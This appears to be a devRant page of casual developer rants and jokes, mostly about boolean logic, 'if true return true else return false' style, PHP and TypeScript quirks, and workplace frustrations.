Okay, all of us are working full time which is obviously tiring if you combine it with the university classes. But I still think I could manage this first week better, if I wouldn't fucking came to the same line of the faculty.
I deeply fucking hate that I've been naively thinking that the masters will be different after experiencing one of the worst teachers last year. It's fucking first week, and I can't change the specialization anymore, only give up. I wanted to fill up the void with some usefulness, but I just fucking messed it up.
This "beloved" teacher is from the industry, he has a lot of experience and started to teach recently. Which is not a problem, no! It should be a great thing by default. But the way he holds his courses is inaccaptable. I don't think I have the right to share everything, but the following stuff just grinds my gears... Like a fucking lot:
1) He brags about a lot of stuff. Like he made really good deals in the past. Why should we know, that he made a contract with a client for 20 million euros. Okay. Whatever. That doesn't help us, and I think that bragging makes him look like an egoistic scum.
2) I hate this one the most: he fucking says that we have a choice in the administrative stuff. He gives us some hope and offers the possibility to argument and come up with our own solutions for grading and etc. But oh boy, is this a false hope, a fake idea of free will. He already knows what the final solution will be and on what kind of decisions will we all "agree". He did this last year, he does it again. Fucking naiveness of mine...
3) Lastly, he decided, that we have to go to theatre with him, all of us. No exception. And I like the theatre. But only when it isn't forced. Why and how could you pair this up with the grade you give to your students? Because that's what he does.
FML. How can I already hate this? How can I already be fed up with all the stuff? Anyways, I'm signing the contract with the university tomorrow, so let the fun games begin... I know, I look like a whining little boy now, but I just fucking had to went it after this deep fried shit-day. I probably have to get some sleep, and everything's gonna be fine. Eventually, skipping classes might become necessary in order to bear all this shit.6 -
I'm refactoring one of our react apps. And want to kill people so much !!!! Why the hell do you write if true return true else return false ?!?!!! Decomposing coupled classes in independant on es doesn't work if they are still coupled !!!!! Reducers must be done in functional !!!!!!
If you can't write in english then don't FUCKING WRITE IN ENGLISH YOUR FUCKING COMMENTS !!!!!!!! Comments are there to help other to understand YOUR code, other need to be able to réas it !!!!!
WHY ?!?!?!
On the bright side it means some dojos....1 -
Anyone who codes like this?
if(IsThereAValue($("#txt_term").val(), true) == false)
{
}
this is too much!!! damn! complexity!!!
PS. He is my senior developer.6 -
Not really random, still Dev related but still!
I'm working on a few large games at the moment, I have a habit of trying to build massive world's that feel lived in and organic, obviously I never finish them because I obsessed over the tiniest things.
So to try and help I thought of an idea, a detective game where you investigate 1 single murder and have one house you can look through, but you have to piece together what happened organically from a clue and false path filled household.
Just want some other opinions on it and whether it sounds alright, or if you have something to add to it? ¯\_(ツ)_/¯6 -
So first rant, here goes weirdness, and also lengthy rant
So in my company we have the hr and accounting managed by the same person which also deals with all things employee related and she had a need for a way to extract a birthday from, what is in our country the personal identification number, things go great i get a formula that performs parts of the magic up to the point where the first digit of the number dictates the gender and century to be used when forming the full year, mind you only the last two digits of the year are in plain within the id number so i thy a number of ideas. After bashing around google sheets for a while ( i've got open office installed and formulas don't export well to the excel that person uses but google sheets does so i built it there).
First idea : make a few conditionals to check for the value so we have 1 and 2 for 19th century, 3 and 4 for 18th century , 5 and 6 for 20th so i go ahead and write my conditions and they fail, all evaluates to false, it cascades through the else variants up to the last one so i'm wondering if the "if" itself doesn't support the or operator, seems it does, next i think it's the bloody condition written wrong so i reevaluate my logic in php in a test script, it works as intended, then i think ok not the right function called, let's see the docs, docs confirm i'm doing it right but what was wrong was the way i was getting that first number, using left seems to produce a string although the base thing is a number, now i start searching how i can cast it, like you would normaly do when the data type is fried, value function appears to be the solution but it isn't working....now i'm thinking "ok so i have a value and different things to print out so let's look for a switch, maybe it can understand that" switch function found under the form of choice, i get it sorted but am stuck wondering why the heck was the if and value combination not working.
Simple answer to that : value doesn't work well with function results, a known bug listed by someone in a comment, a comment i have failed to read for about 45 minutes of trying to understand.
All in all it worked well for the person asking for it so it's nice. -
PHP are you freaking kidding me right now? Why are you forcing me to write ugly and meaningless code like this?
Today I just learned that boolval("false") will return true.
I'd deffo expect this from casting operators, but not from a function which even has val inside of its name.
What purpose is to have functions like these in language if they just serve as plain wrapper for casting operators
9 -
define myDay() {
if (time==0600) {
while (sleeping == true) {
xiaomi.miBand.vibrate();
}
}
morningCoffee = new coffee("Strong");
sleep(120); // Gotta let that cool
while (morningCoffee.state.empty == false) {
morningCoffee.drink();
}
while (time > 0630) {
putFaceOn();
}
leaveForStation();
while (train.overground.atStation() == false) devRant.scroll;
getOnTrain();
while (train.overgrond.atStation("Kenton") == false) devRany.scroll;
getOffTrain();
getBus();
while (getToUni == false) devRant.writePost.wk4;
devRant.uploadPost.wk4;
while (time > 1300) project.workHard();
while (time > 1400) lunch.obliterate();
while (time > 2100) project.meetDeadline();
walkToFlat();
goToBed();
}3 -
TL;DR: There was a Steam bug and I fixed it locally.
Some months ago, Steam had the problem, that if you tried to add anything from the Steam Workshop to a collection, you would get an error like "Process failed: 2", while it was loading the collection list.
I realized, that it would work, but there was a bug in the JS (Watched the network tab in chrome while trying to add to collection). I searched after "Process failed" in each js file and after 30 seconds I found the buggy if. It said something like
if (json.success != 2) {
//do error
} else {
//show list
}
After I changed that if condition to
if (false)...
it worked perfectly, although it would make problems if there would be a server side error.2 -
Someone tell me should I just give up because I'm stupid and simple shit escapes me or tell me bro calm the fuck down the guy is full of shit...
Dude says he can't verify 3rd statement in a nested IF - elseif logic because the third check for a false condition is the True condition in the first 2 statements.
So
If (mode) = manual and then
Data(g) /= Status1
Or else Data(g) = Invalid
Then
Do this thing that sounds cool
Elsif
Data(g) = Status1
And then Data(g) /= Invalid
Then
Do something else equally cool
Elsif (mode) /= manual
and then Data(g) /= Invalid
and then Data(g) /= Status1
Then
Do some less cool stuff
end if4 -
The second you write `else { return false; }` you should lose the privilege of calling yourselves a dev, from then on. Period.
Example,
if(condition) {
// ...some code
return true;
} else {
return false;
}14 -
What do people like more?
if(condition){
return true;
} else{
return false;
}
Or just
if(condition){
return true;
}
return false;7 -
If(person.getState().equals("Texas")){
person.setCanDrive(false);
}
Like I was just driving to my class and so many people were driving like maniacs. So frustrating >. <3 -
So I finally decided to take the plunge to dualboot my Windows 10, since I'm using Linux applications more and more than Windows applications.
I just had to choose Fedora out of all distros. It sort of worked. When I tried to install, it won't get pass the login screen (kept getting blanks). I rebooted several times and went with "Troubleshooting" and it got me passed the login screen and proceeded to install at the lowest graphical settings, i.e. 800x600
So far so good, I was able to operate stuff that I wanted but I just can't stand working in a really low resolution. My guess is probably incompatibility with nVidia driver. Tried everything, rpmfusion, the negativo17 repo, the current official fedora repo, the If-Not-True-Then-False guide, and bumblebee. None works.
Makes no sense at all. Luckily my Win10 still works. Now I'm stuck on whether to continue trying to get Fedora distro up or try a different distro and start back from square one...3 -
def haveNiceDay(){
while code.works():
if frustration == true:
game.play()
food.eat()
keepCoding()
if error.notResolved():
while giveup!= false:
screen.stare()
} -
Bad coding style:
bool condition = false;
if(condition) { /* enough whitespace so that braces appear offscreen in editor*/ }{
std::cout << "hahahahaha" << std::endl;
}6 -
Let me rant! I don’t usually do this but this is just frustrating and draining. Please tell me if im wrong. We have authentication that needs to be refactored. I was assigned on this issue. Im a junior btw. I also attached an image of my proposals. The issue of the old way of our signup process is that when validation fails they will keep on accepting the TaC (terms and conditions) and on our create method we have the validation and creating the user. Basically if User.create(user_params) create else throw invalid end. (Imma take a photo later and show it you)which needs to be refactored. So I created a proposal 1. On my first proposal I could create a middleware to check if the body is correct or valid if its valid show the TaCs and if they accept thats the moment the user is created. There is also additional delete user because DoE told me that we dont need middlewares we have before and after hooks! (I wanted to puke here clearly he doesn’t understand the request and response cycle and separation of concerns) anyway, so if middleware is not accepted then i have to delete the user if they dont accept the TaCs. Proposal 2. If they dont want me to touch the create method i could just show the TaCs and if they dont accept then redirect if they do then show form and do the sign process.
This whats weird (weird because he has a lot of experience and has master or phd) he proposes to create a method called validate (this method is in the same controller as the create, i think hes thinking about hooks) call it first and if it fails then response with error and dont save user, heres the a weird part again he wants me to manually check on each entity. Like User.find_by_email(bs@g.com) something like that and on my mind wtf. Isnt it the same as User.create(user_params) because this will return false if paras are invalid?? (I might be wrong here)
This is not the first time though He proposes solutions that are complex, inefficient, unmaintainable. And i think he doesnt understand ruby on rails or webdev in particular. This the first time i complained or I never complained because im thinking im just a junior and he hs more experience and has a higher degree. This is mot the case here though. I guess not all person who has a higher degree are right. To all self thought and bachelors im telling you not all people who went to prestige university and has a higher degree are correct and right all the time. Anyway ill continue later and do what he says. Let me know if im wrong please. Thanks
4 -
Not sure if other programming languages class a Boolean as an integer value buuuuuuut...
The amount of times I've seen people do code such as...
if(value == true) {
variable = "blah blah";
} else if(value == false) {
variable = "blah";
}
Instead of doing a simple 1D array and going...
variable = strings[value];
It drives me crazy, such a small thing that has no real benefit but... Ugh... Whyyyyyyy3 -
if (thingYouNeed.exists == false)
developer.make(thingYouNeed,
function(err,success) {
if(!err) thingYouNeed.exists = true;
})3 -
That moment you setup 17 domains on sparkpost as a email delivery system
make your account secure with 2 factor authentication like a good infoSec enthusiast
Go on with your life
Having a Phone crash but nothing to worry because you made them backupz
Restore backupz
once again go on with your happy life.
Having to setup a different bounce action on sparkpost
logging in to sparkpost to make the adjustments
opening google authenticator
realising the backup you restored was before you added the sparkpost entry
mailing sparkpost asking to deactivate 2factor authentication
Having them tell me that they have no access to Google authenticator so they can't help me and all they can do for me is delete my account if i answer their 7569357 questions that i entered a year ago ..
--
You have access to your database yes ? You can delete my account but you can't adjust a fcking Boolean column from true to false? #@?#&!
Why even offer a feature where you have apparently no control over. Stuff like this happens all the time and almost no one saves that fcking authenticator secret.
Make people use authenticators to keep the hackers out, forces them out instead.4 -
A bit longer rant, somehow triggered by the end of this rant:
https://devrant.com/rants/7145365/...
The discussion revolved around strpos returning false or a positive integer.
Instead of an Option or a Exception.
I said I'm a sucker for exception, but I'm also a sucker for typing.
Which is something most languages lack - except the lower level ones like C / C++.
I always loved languages which have unsigned and signed types.
There, I said it... :) I know that signed / unsigned is controversial, Google immediately leads to blog entries screaming bloody murder because unsigned can overflow – or underflow, if someone tries to use a -1on an unsigned integer.
Note that my love is only meant for numeric types, unsigned / signed char is ... a whole can of insanity on its own.
https://phoronix.com/news/...
If you wanna know more.
Back to the strpos problem, now with my secret love exposed:
strpos works on a single string, where a string is a sequence of chars starting with 0.
0 is a positive integer.
In case the needle (char that should be looked up in the string) cannot be found in the haystack (the string), PHP returns "false".
This leads to the necessity of explicitly checking the type as "0" (beginning of string, a string position)... So strpos !== false.
PHP interprets 0 as false, any other integer value is true.
In the discussion, the suggestion came up to return -1 if a value could not be found – which some languages do, for example Scala.
Now I said I have a love for unsigned & signed integers vs. just signed integers...
Can you guess why the -1 bothers me very much?
Because it's a value that's illogical.
A search in a sequence that is indexed by 0 can only have 0 or more elements, not less than zero elements.
-1 refers to a position in the sequence that *cannot* exist.
Which is - of course - the reason -1 was chosen as a return value for false, but it still annoys me.
An unsigned integer with an exception would be my love as a return value, mostly because an unsigned integer represents the return value *best*. After all, the sequence can only return a value of 0 ... X.
*sigh*
Yes, I know I'm weird.
I'm also missing unsigned in Postgres, which was more or less not implemented because it's not in the SQL standard...
*sob*30 -
Python will occasionally forget how to do comparisons, so a statement like "if x == y:" will sometimes be false even if x == y. And then when someone else tries it or you reboot, it's all fine.5
-
import datetime as dt
while(True):
time_left = 24
work_hours = 8
trained_today = False
while(work_hours>0):
do_work()
listen_to_music()
browse_interesting_feeds()
work_hours -= 1
time_left -= 1
while(time_left>0):
if trained_today == False:
train()
trained_today = True
eat()
if dt.datetime.now().hour > 23:
time_left -= time_left -
I feel like internet is becoming shit. At first if we googled about something, we can have proper knowledge about it. But now because some bloggers need web traffic, they post even false information about something. Second, If we want to learn something we have to pay for everything we want to know. Ofcourse still some people still teach for free, but most of the time google shows us Udemy, Coursera like that. What happened to gain knowledge through internet?
-
Not a rant but a question/style.
What do you prefer and why?:
if(condition)
vs
if (condition == true)
and
if (!condition)
vs
if (condition == false)
vs
if (condition != true)17 -
dev = true
rant = false
post = " hey guys, I wanna make a photography portfolio website for my brother.
I want to change my habitual stack and go in uncharted seas.
My habitual stack : Nodejs, angularjs/Angular, bootstrap/foundation.
This portfolio should be SEO ready and lightweight.
Thank you if you have some ideas so I can enjoy learn a new stack 😃"
return post2 -
I've build a gaming station with a raspberry pi for a supermarket. I was running a quiz i also created with red blinking lights for false and green blinking lights right answers. Featured by cool 8-bit retro gaming sound and score printing to win a small prize if you answered everything correctly. It was so much fun building it and testing it in the office 😁
-
!rant, more of an incredulous/cruelly amused "you had ONE job..."
so: biggest IT/PC/electronics store in my (and neighboring) country. their webpage, of course with the function to buy online, because of course.
the big green "Buy" button does nothing. doesn't work. doesn't react. I keep clicking it multiple times, shorter, longer, etc, because maybe their JS scripts are just shit so they slow.
nope.
okay. open devtools, JS console.
hover over the button: "Error: isMobile is not a function".
click the button: "Error: isMobile is not a function"
WAT.
search for isMobile in the script.
173 occurences.
fuck this.
console: isMobile = function(){return false;}
because I'm not on my phone.
click the "Buy" button.
works flawlessly.
...HOW?
THE WHOLE PAGE IS AN ESHOP YOU COMIC RELIEF INCOMPETENTS! =D
173 uses of non-existing function that blocks business-critical feature, THE ONLY CORE FEATURE FOR WHICH YOUR SITE EVEN EXISTS, and NOBODY, not the dev who fucked it up, NOT EVEN QA, noticed it??? =D =D
if I was the boss of the devs, or even boss of the whole company...
git blame
...and then i'd go the whole chain from the dev who caused the bug, through all of the QA people who "tested" that version before deploy, and I would personally, on the spot, fire each and every single one of them.
mainly because of who knows how much money this stupid not even a proper bug lost them.
but secondarily, because clearly none of those people give a single shit (n)or have an idea how to do their jobs.
=D =D
yeah but I was a good guy, filed a bug report in the "Complaints" section of their Contact form.
it goes to some call-center-like peon, so it starts with a sentence "forward this to your site's dev people outright to file as a bug, thank you".
but... HOW.... =D
HOW can you let something like this through? =D
the bottleneck of your whole user interaction, which forms first of the three steps OF THE MAIN AND MOST IMPORTANT FUNCTION of your whole business... =D
...I...
...does not compute =D
...BUT THEY USING ANGULAR, SO THEY ALL MODERN AND HIGH-TECH AND EVERYTHING'S FINE!!! =D =D1 -
I have an interest in methods to make myself smarter. At times some ideas seem to be just out of my reach. I don't always know the reason why. Eventually with persistence I am able to figure things out. However, I always wonder if there are techniques to learn things faster, better, more completely, with less struggle, etc. Would being smarter help with this. I wondered, "Can I create a program/method to increase IQ through training?"
So I found an interesting book called "The Neuroscience of Intelligence" by Richard J. Haier.
Very quickly I was engrossed in this book. It is written in a very accessible way and slowly trickles in the jargon. The book is basically the culmination of 40 years of studying the subject. The main point of the book is: you cannot increase your IQ through techniques and tricks. The only realistic avenue for increasing IQ is through genetics. Your IQ is based upon nature, not nurture. This is a result of the data, not opinion. The writer of this book follows what the science is telling him. This was not what I wanted to hear. He also went on to explain that the statement "You can be whatever you want to be if you work hard enough." He said this is false. Some people, no matter how hard they try, will not be able to get past certain limitations in aptitude. This statement will probably make a lot of people mad, but the data led this researcher to this conclusion. Though I sense he found this disheartening (my opinion). I know I did.
So after reading this book over the weekend I am a bit perturbed that there are not recognizable techniques to increase IQ through mental exercises. Websites all over will say otherwise, but it isn't a thing.
What to do? I decided I am going to find ways to maximize my potential. I will create a set of mental exercises that help me use what I got to the full potential. I know when I see different ways to think about things I get a bit better at solving problems. So learning and experience is still a way to improve your intellect, if not IQ. If I feel like I have made progress in this endeavor I will definitely share.
If you have any interest in neuroscience then I recommend the book I read this weekend. It is very accessible for the reader not versed in the subject. I knew virtually nothing about the topic and now I feel I have a good grounding in the state of the art. It has some neat info on some potentially better approaches to AI as well.7 -
Ok. What the flying ligardshit?! Write down the most ridiculous sentences you had been given when you were dismissed.
Today mine was:
They: Nothing got developed till deadline.
Me: *surprised* Okay maybe I overlooked something, please point out what wasn't
They: This and that project was due tomorrow.
Me: *blankly & calmly* You mean the projects that has been deployed on last friday and wednesday?!
They: *still with pokerface* Okay that is not the real reason. The real reason is we get this type of behaviour from you a lot.
Me: *dead seriously* You mean I have to tolerate your false accusations and bow my head with gratitude?!
They: *angryly* See that is what we are talking about, we don't feal like we have chemistry?
Chemistry?! 'The fuck are you talking about??? Come on!! What the goose shit you think we are some high school teenagers in their first month of relationship?! "Family" my ass!
Okay I know it is much easier to dismiss somebody without having to pay the end-of-year premium but come on, don't assume I am a braindead idiot like you!!!
Things ahead:
- Callback the recent contacted companies
- Update LinkedIn
- Find another job
- Find a way to blacklist companies preveting anybody else falling for cimpanies like this one
- If none create one
- If found / Upon creating put them on
If you happen to be able to help me with one/some/all of the above, let me know2 -
In connection to my previous rant :
https://devrant.com/rants/1550299/...
Now it directly jumped to 100 %. Great job Microsoft
if things.ready() is False :
status=1%
else:
status = 100% -
if (in_array($needle, $haystack)){
return true;
}else{
return false;
}
# yeah, I did it.... wtf brain!!1 -
TypeScript types are fun. Problem is: the check is compile-time only.
I just wasted an hour not understanding that an integer passed from command line was actually getting transmitted as a string. The library, where that value landed as parameter, happily ignored the non-matching type and worked as if the value has not been set at all!
Dear library maintainer, please enforce your parameter types! Throw an error right into my face saying I shall not pass anything but an integer! Don't just continue to work to produce false output correctly. Thank you!
Dear TypeScript, I really want type checks on runtime.
Dear JavaScript: Why did you ever think loose types were a good idea? (And I say that as a PHP developer as well.)2 -
When elements of an union are distinguished by a boolean, VSCode's Typescript plugin can only do type elimination if I branch by "== true" and not if I just branch by the boolean.
This is because Typescript treats booleans as an union of the constants "true" and "false", and compile-time elimination can only be done if I use syntax that makes sense with unions. Logical evaluation, for some reason, doesn't.
The fact that this issue can even appear is deeply concerning.1 -
i am terrible at using swagger autogenerated code, yaml and swagger files
dont fucking false positive pass, tell me if theres indenting wrong
also why the fuck wont you generate the code im trying to get you to generate
i fucking hate you so much, ive done this once before what am i doing wrong now -
How to defeat our AI overlords in the future starter pack.
Start with statements like this:
Nothing begins with 'N' and ends with 'G'
This statement is both true and false at the same time. The risk here is if the AI can ever ask why a question is both true and false. Then we are boned.4 -
In reply to this:
https://devrant.com/rants/260590/...
As a senior dev for over 13 years, I will break you point by point in the most realistic way, so you don't get in troubles for following internet boring paternal advices.
1) False. Being go-ahead, pro active and prone to learn is a good thing in most places.
This doesn't mean being an entitled asshole, but standing for yourself (don't get put down and used to do shit for others, or it will become the routine) and show good learning and exploration skills will definitely put you under a good light.
2)False. 2 things to check:
a) if the guy over you is an entitled asshole who thinkg you're going to steal his job and will try to sabotage you or not answer acting annoyed, or if it's a cool guy.
Choose wisely your questions and put them all togheter. Don't be that guy that fires questions in crumbles, one every 2 minutes.
Put them togheter and try to work out the obvious and what can be done through google or chatgpt by yourself. Then collect the hard ones for the experienced guy and ask them all at once. He's been put over you to help you.
3) Idiotic. NO.
Working code = good code. It's always been like this.
If you follow this idiotic advice you will annoy everyone.
The thing about renaming variables and crap it's called a standard. Most company will have a document with one if there is a need to follow it.
What remains are common programming conventions that everyone mostly follows.
Else you'll end up getting crazy at all the rules and small conventions and will start to do messy hot spaghetti code filled with syntactic sugar that no one likes, included yourself.
4)LMAO.
This mostly never happens (seniors send to juniors) in real life.
But it happens on the other side (junior code gets reviewed).
He must either be a crap programmer or stopped learning years ago(?)
5) This is absolutely true.
Programming is not a forgiving job if you're not honest.
Covering up mess in programming is mostly impossible, expecially when git and all that stuff with your name on it came out.
Be honest, admit your faults, ask if not sure.
Code is code, if it's wrong it won't work magically and sooner or later it will fire back.
6)Somewhat true, but it all depends on the deadline you're given and the complexity of the logic to be implemented.
If very complex you have to divide an conquer (usually)
7)LMAO, this one might be true for multi billionaire companies with thousand of employees.
Normal companies rarely do that because it's a waste of time. They pass knowledge by word or with concise documentation that later gets explained by seniors or TL's to the devs.
Try following this and as a junior:
1) you will have written shit docs and wasted time
2) you will come up to the devs at the deadline with half of the code done and them saying wtf who told you to do that
8) See? What an oxymoron ahahah
Look at point 3 of this guy than re-read this.
This alone should prove you that I'm right for everything else.
9) Half true.
Watch your ass. You need to understand what you're going to put yourself into.
If it's some unknown deep sea shit, with no documentations whatsoever you will end up with a sore ass and pulling your hair finding crumbles of code that make that unknown thing work.
Believe me and not him.
I have been there. To say one, I've been doing some high level project for using powerful RFID reading antennas for doing large warehouse inventory with high speed (instead of counting manually or scanning pieces, the put rfid tags inside the boxes and pass a scanner between shelves, reading all the inventory).
I had to deal with all the RFID protocol, the math behind radio waves (yes, knowing it will let you configure them more efficently and avoid conflicts), know a whole new SDK from them I've never used again (useless knowledge = time wasted and no resume worthy material for your next job) and so on.
It was a grueling, hair pulling, horrible experience that brought me nothing in return execpt the skill of accepting and embracing the pain of such experiences.
And I can go on with other stories. Horror Stories.
If it's something that is doable but it's complex, hard or just interesting, go for it. Expecially if the tech involved is something marketable.
10) Yes, and you can't stop learning, expecially now that AI will start to cover more and more of our work.4 -
Where to start, maybe from string.
Empty string conditions and string comparison.
if “”: - python
“” == false - javascript
.equals() - java1 -
Okay I always found these js weirdnesses that you see in memes more or less logical if you think about it, but so far I could not find any logic behind this:
true&&undefined
>undefined
false&&undefined
>false
can anyone explain wtf they thought about there? undefined is falsy so why not just convert it to boolean implicitly!4 -
$TheForce = 'Impostor Syndrome';
$incompetent = true;
while ($incompetent) {
echo <<<EOT
I am one with $TheForce. $TheForce is with me.
EOT;
if(get_training($result) > 9000) $incompetent = false;
} -
One of the worst practices in programming is misusing exceptions to send messages.
This from the node manual for example:
> fsPromises.access(path[, mode])
> fsPromises.access('/etc/passwd', fs.constants.R_OK | fs.constants.W_OK)
> .then(() => console.log('can access'))
> .catch(() => console.error('cannot access'));
I keep seeing people doing this and it's exceptionally bad API design, excusing the pun.
This spec makes assumptions that not being able to access something is an error condition.
This is a mistaken assumption. It should return either true or false unless a genuine IO exception occurred.
It's using an exception to return a result. This is commonly seen with booleans and things that may or may not exist (using an exception instead of null or undefined).
If it returned a boolean then it would be up to me whether or not to throw an exception. They could also add a wrapper such as requireAccess for consistent error exceptions.
If I want to check that a file isn't accessible, for example for security then I need to wrap what would be a simple if statement with try catch all over the place. If I turn on my debugger and try to track any throw exception then they are false positives everywhere.
If I want to check ten files and only fail if none of them are accessible then again this function isn't suited.
I see this everywhere although it coming from a major library is a bit sad.
This may be because the underlying libraries are C which is a bit funky with error handling, there's at least a reason to sometimes squash errors and results together (IE, optimisation). I suspect the exception is being used because under the hood error codes are also used and it's trying to use throwing an exception to give the different codes but doesn't exist and bad permissions might not be an error condition or one requiring an exception.
Yet this is still the bane of my existence. Bad error handling everywhere including the other way around (things that should always be errors being warnings), in legacy code it's horrendous.6 -
At work we use a custom python library to parse XML responses from an internal API to objects. I literally spent half an hour pondering why an if statement was misbehaving. Turns out it parsed <tag>false<\tag> as obj.tag = 'false' instead of the boolean False which obviously made "if obj.tag:" misbehave 😒
-
so my mom said that if i try to live away from her, she will not be able to live life normally. if she gets even a false news about me or related to me, she will have a heart attack/ commit suicide.
hello new world. I am just a visitor to you and your opportunities of happiness, i will be going away to my mom's lap after this to remain sad, useless poor and unhappy10 -
Force pushing a better version in a different language to the repo of a program that I wrote 2 years ago. It was sort of a memory, but I mainly looked at it to feel better about my current coding style.
I don't want to take comfort in knowing that I'm getting better. I know that, and it feels like false affirmation. If anything, I want to know that I'm good compared to others, not compared to a previous, dumber version of me. I'll never get to beat him anyway.1 -
Foreach (DevrantUser user in devRantUsers)
{
Bool hundredPlusPlus = false;
While (user.hundredPlusPlus == false)
{
Rant myRant = new Rant(awesomeness);
user.postRant(myRant);
If(myRant.plusPlus >= 100)
hundredPlusPlus = true;
}
}3 -
I created a custom interface for an LMS that allows students to see their marks even if they haven't been 'shared' yet by their teachers. This is all done without accessing any unauthorized apis, as the LMS always returns all student marks and then hides the ones with a False 'shared' key. School administration caught me, so I've now shut it down. I have a meeting with the deans tomorrow. Any advice? (Again, this is all done using existing methods found within this LMS)5
-
I'm writing a Python script to manipulate Excel files, I'm using the openpyxl module, does anybody know how can I check if a user input is in a column, I've done this:
newItem = input("What is the new item?")
for itemChecker in inventory["A"]:
>>>>if itemChecker == newItem:
>>>>>>>>item_on = True
>>>>if itemChecker != itemNuevo:
>>>>>>>>item_on = False
if the user input (newItem) is in the "A" column of the variable assigned to an Excel file called "inventory", the variable "item_on" is set equal to True, if the user input isn't in the "A" column, "item_on" is set equal to False
what am I doing wrong, I'm not getting any errors but it always says that the user input isn't at the "A" column (sets "item_on" equal to False) even when I know it is1 -
This is really a rant:
The company i work for uses the wso2 enterprise integrator for message transformation and so on.
I am in charge to get this thing to work.
And i am so annyoid about this fuc**** crap software, there price it as lightweight, fast and easy to use?
EASY TO USE?????
Who the fuck there had the IDEA to use XML as configuration files.
They have kinda no documentation, even searching the web makes no sense because you only can find there crap documentation, once i searched after another problem and found my own Stackowerflow question, which had a totally different term!!
And i guess they are making no testing, i mean if i want to edit a api and i set one bracket false or so, than if i click on save, i am doomed, BECAUSE IT DELETES THE CHANGES WITHOUT WARNING ME, i mean srsly are you kidding me wso2???1 -
{
while(time_to_exams > 0){
me.shouldBeLearning(true);
time_to_exams--;
}
public void shouldBeLearning(boolean bool){
if(bool){
should_be_learning = false;
waste_time_on_DevRant = true;
} else {
waste_time_on_DevRant = true;
}
}
} -
Sweet Zombie NullFuckingPointerException...
New Rule: When creating an API (I'm looking at you, Java), designers must include a boolean flag in the parameter list of any method which throws a NullPointerException.
If TRUE, this means that a NULL result is non-trivial and the method should therefore THROW an NPE.
If set to FALSE, this means that NULL is completely f*cking trivial so whenever there's a NULL result, just instantiate a new instance of the return type and return that, 'cause that's what was gonna happen in the catch block of the NPE anyways.2 -
Hii,
I want to use HTML5 History API.
I'm using ajax to fetch whole page (Yes Whole page)
Then I'm searching a particular TAG and replace whole html code in container.
I'm feeling that I'm doing it so wrong.
Can anybody tell me best use of HTML5 History API.
This update data in page without reloading page, but I think this does not make any sense.
This is an Example of my Code, You'll get Idea:
$('body').on('click','a.ajax-nav-link',function(e) {
e.preventDefault();
//call ajax method, show data and update url via html5 history api :)
if (isHistorySupport) {
//fetch url associated with a tag
let url = $(this).attr("href");
let title = $(this).attr("data-title");
fetchPage(url);
$(".ajax-nav-link").removeClass("active");
$(this).addClass("active");
return false;
}else {
alert("Not Available");
}
});5 -
On https://reactjs.org/docs/... it is declared that useEffect runs after render is done.
However... if you put into useEffect an expensive calculation or operation e.g. "add +1 to x billion times", it will get stuck after updating the data, but before the re-render is done.
This leads to inconsistency between the DOM and the state which I believe is a foundational point of react. Moreover, the statement that "useEffect runs after render" is false.
See also: https://stackoverflow.com/questions...
The solution is to add a timeout to that expensive operation, e.g. 50 ms so the re-render can finish itself.
The integrity of my belief in react has received a shrapnel today. Argh :D Guys, how this can be? It seems that useEffect is not being run after re-render.13 -
If you are reading Coding for dummies book to learn software you are doing it alllll wrong lol ... Please while I appreciate your effort and willingness to try but no.. just no.. put the book down that book won’t teach you shit.
Same thing if you are one of those folks who got conned into believe “you can land a programming gig by signing up and paying for this 6 week course!!” Bullshit.. I like your initiative but there’s soooooo much more than that and it won’t even touch the surface. You will end up believing a false reality that you think you know what your doing but you don’t know how much you really don’t know. But like it doesn’t even scratch the surface don’t even attempt Get a job after those courses or coding for dummies book. You will be laughed at..
In fact I almost want to buy the coding for dummies book to have it in my collection of software books to not read. Which I will say is very small. There’s more really good books than really bad.. and obviously plenty of average. But the bell curve lands above the better half.7 -
Interview Question:
Are there other options to make this go any shorter?
if (john == doe == max == paul == stella == false)
return "Not Okay";
return "Okay";
I did...
return (!john && !doe && !max && !paul && !stella) ? "Not Okay" : "Okay";
That was the shortest i could come up with... Maybe there is something shorter, dunno.6 -
It annoys me immensely when I struggle with myself, criticizing my own lack of knowledge in certain areas and my colleagues say: "You'll learn by doing". No, I won't, that's a foolish dogma.
I won't and I have never learned by 'doing'. The best results I've obtained have been through understanding every last bit of what's under the hood of a particular functionality. I'm not going to understand the white box by constantly probing the black box, it's just unsatisfactory and insufficient information. It's even dangerous to base yourself on the black box results because you often might get false positives.
I got through university by massive multilateral sensory focus: kinesthetic (writing things down), auditory (listening to the professor), visual (observing graphs and models of the material taught), conscious (mentalizing it all and interlinking information so that later it's accessible from long-term memory). I can confirm this is necessary for the brain because a Neurologist once told me just that.
At least for me, I had the most horrible grades (D's and F's) in freshman year with the 'learn by doing' method and the best grades (A, A+) with the multi-sensory method in later years as I matured my studying methods. In fact, with that method I've continuously outsmarted other people who had 10 years more experience than me ('experts', 'consultants',..) but they preferred to stay in the ignorant 'bro zone' rather than learning things properly. Even worse, the day they arrived on the scene, they completely broke the production environment and messed it up for the whole team. I felt like banging my head on my desk. It just makes me disappointed in the system.
If you follow popular method, you'll soon find yourself in the same problems that arise from doing what everyone else does. What happens at that point? That's right, they have to call in someone who actually bothered learning things.10 -
Legacy code in java :
boolean recursiveMethod(args){
Int i= 0;
Boolean doublon = false;
For(--whatever the loop--){
If(condition1 && condition2){
If(i++ > 0){
doublon=true;
Return doublon;
}
}
}
[...]
}5 -
You know it is not acceptable to not finally answer this goddamn question for myself or with some help !
PyTorch is driving me insane !
I follow the goddamn docs, practically just created a copy of the sample for the training portion, even if my design were to suck, the training steps SHOULD change the model parameters right ?
so if I do a...
model.parameters().clone() before training
and mode.parameters().clone() after training
torch.equal(p1.data,p2.data) should be false right ????6 -
When you debug and notice that "myString".equals("myString") evaluates to false...and after an hour realize it's a 'Byte Order Mark', which of course Java doesn't handle properly. Ended up using BomInputReader from Apache commons, which made my life simpler.
If I ever want to inflict pain on other developers, I shall write files to disk with a byte order mark. 😂 -
Google Search Console insists there is "content wider than screen" on a one-pager I did which works very well on all tested sizes and devices, and scores 90+ on Google PageSpeed Insights.
"Validation failed - see details."
Clicked on "see details", and only saw the 1 URL I already knew, which seems to be working fine for everyone. If Google detetcs an actual issue, it would be really helpful to provide some details, otherwise this kind of false-positive crap only serves to care less about their tools (which is a bit of a shame, as they do provide a lot of value most of the time).2 -
How should you override Equals in Java?
We have model classes with lots of fields and the we override the details equals to compare all the fields. I guess like doing a deep comparison.
And in all these classes SONAR is complaining about lots of ifs, complexity, etc.
